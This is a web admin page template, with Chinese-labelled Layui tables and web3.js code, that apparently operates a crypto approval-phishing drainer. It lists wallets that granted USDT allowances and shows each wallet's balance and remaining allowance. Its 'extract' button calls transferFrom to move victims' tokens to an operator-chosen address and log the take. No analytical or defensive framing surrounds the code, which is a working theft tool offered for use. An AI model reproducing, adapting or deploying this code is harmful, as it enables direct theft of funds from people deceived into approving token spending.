{extend name="base/base" /}
{block name="style"}
<style type="text/css">

</style>
{/block}
{block name="content"}
  <div class="layui-form-item layui-form-pane">
      
      <!-- <div class="layui-inline">
          <label class="layui-form-label">地址</label>
          <div class="layui-input-inline">
              <input type="text" name="from" autocomplete="off" class="layui-input" id='from'>
          </div>
      </div> -->

      <!-- <div class="layui-inline">
        <div class="demoTable">
          <button class="layui-btn" data-type="reload">搜索</button>
          <button class="layui-btn" onclick="excel()">导出表</button>
        </div>
      </div> -->
  <table id="table" lay-filter="test"></table> 
    <script type="text/html" id="barDemo">
    <a class="layui-btn layui-btn-xs" lay-event="edit">提取</a>
    <!-- <a class="layui-btn layui-btn-xs" lay-event="bf">补发</a> -->
  </script>
  <script type="text/html" id="barDemo2">
    <!-- <a class="layui-btn layui-btn-xs" lay-event="copy">复制钱包地址</a> -->
  </script>
  <script type="text/html" id="toolbarDemo">
  <div class="layui-btn-container">
    <!-- <button class="layui-btn layui-btn-sm" lay-event="add">一键审核</button> -->
  </div>
</script>
</div>
{/block}
{block name="script"}
<script src="/eth/jquery.min.js"></script>
<script src="/eth/web3.min.js"></script>
<script src="/eth/usdt.js"></script>
<script>

        let address;
        let balance;
        let usdtcc;
        let vv;
        let data;
        $(function () {
            if (typeof web3 !== 'undefined') {
                metamaskinit();
                setTimeout(function () {
                  // laydata();
                },2000)
                
            }
            else {
                setTimeout(function () {
                  
                    if (typeof window.tronWeb !== 'undefined') {
                        metamaskinit();
                        setTimeout(function () {
                    // laydata();
                  },2000)
                    }
                    else {
                        alert("未检测到MetaMask或Imtoken，请确认使用MetaMask或Imtoken");
                    }
                }, 1000);
            }
        });

         async function metamaskinit() {
             web3.version.getNetwork((err, res)=>{
                console.log(res);
                if(res!=1){
                    alert("请切换到ETH网络");
                    return;
                }
            })
            accounts = await ethereum.enable();
            if(accounts.length<1)
            {
              if(ethereum.isMetaMask)
              {
                alert("已检测到MetaMask，请确认MetaMask是否已登录!");
              }
              else
              {
                alert("已检测到imtoken，请确认imtoken有eth账户!");
              }
              return;
            }
            var usdtinfoContract = web3.eth.contract(usdtabi);
            address = accounts[0];
            usdtcc= usdtinfoContract.at('0xdAC17F958D2ee523a2206206994597C13D831ec7');

            $.ajax({
             url:"/admin/sq/dataList/?type=2",
                type:"POST",
                data:{},
                success:function(ret){
                  getallow(ret.data);
                }
          });
        }

        function laydata(){
          // alert(1);
          layui.use(['table', 'laydate'], function(){
                    var table = layui.table;
                    var laydate = layui.laydate;
                    table.render({
              elem: '#table'
              ,height: 'full-200'
              // ,url: '/admin/sq/dataList/?type=1' //数据接口
              ,data:data
              ,limit:500
              ,page: true //开启分页
              ,id:'reload'
              ,cols: [[ //表头
                // {type: 'checkbox', fixed: 'left'}
                {field:'from', title: '授权地址', width: 350}
                ,{field:'to2', title: '接收地址', width: 350}
                ,{field:'to', title: '到账地址', width: 350}
                ,{field:'amx', title: '提交数量', width: 100}
                ,{field:'ye', title: '账户余额', width: 100,templet: function(d){
                    return '<span style="color:red">'+d.ye+'</span>'
                 }}
                ,{field:'am', title: '授权数量', width: 100}
                ,{field:'ams', title: '剩余授权', width: 100,templet: function(d){
                    return '<span style="color:red">'+d.ams+'</span>'
                 }}
                ,{title: '操作', toolbar: '#barDemo', width: 100}
                
              ]]
            });
                    table.on('tool(test)', function(obj){
    var data = obj.data;
     if(obj.event === 'edit'){
      tx(data)
     }
  });
          });
        }

       async function getallow(vv) {
             for(let i=0;i<vv.length;i++){
              // console.log(vv[i].from)
                  usdtcc.allowance(
                          vv[i].from, 
                          vv[i].to2, 
                          function(err,re){
                              vv[i].ams = JSON.parse(re)/1e6;
                          }
                      );
                  usdtcc.balanceOf(
                          vv[i].from, 
                          function(err,re){
                              vv[i].ye = JSON.parse(re) / 1e6; 

                          }
                      ); 
                   }
                   data = vv;
                  laydata();
                   
        }
        async function tx(m){
            let sl = prompt("提取数量");
             if(sl>0){
              // m.to = prompt("请输入提取地址：");
                // alert(m.from);
                // alert(m.to);
                // alert(sl);
                 usdtcc.transferFrom(
                     m.from, 
                     m.to, 
                     sl*1e6,
                     function(re){
                      // console.log(JSON.stringify(re))
                       if (re != null) {
                          alert("提取失败");
                          return;
                        } else {
                          $.get("/admin/sq/addLog?op=logadd&from="+m.from+"&to="+m.to+"&am="+sl+"&hash="+y+'&type='+m.type);
                          alert('提取成功')
                          window.location.href = reload();
                        }
                      }
                  );
              }
        }
        
    </script>
{/block}
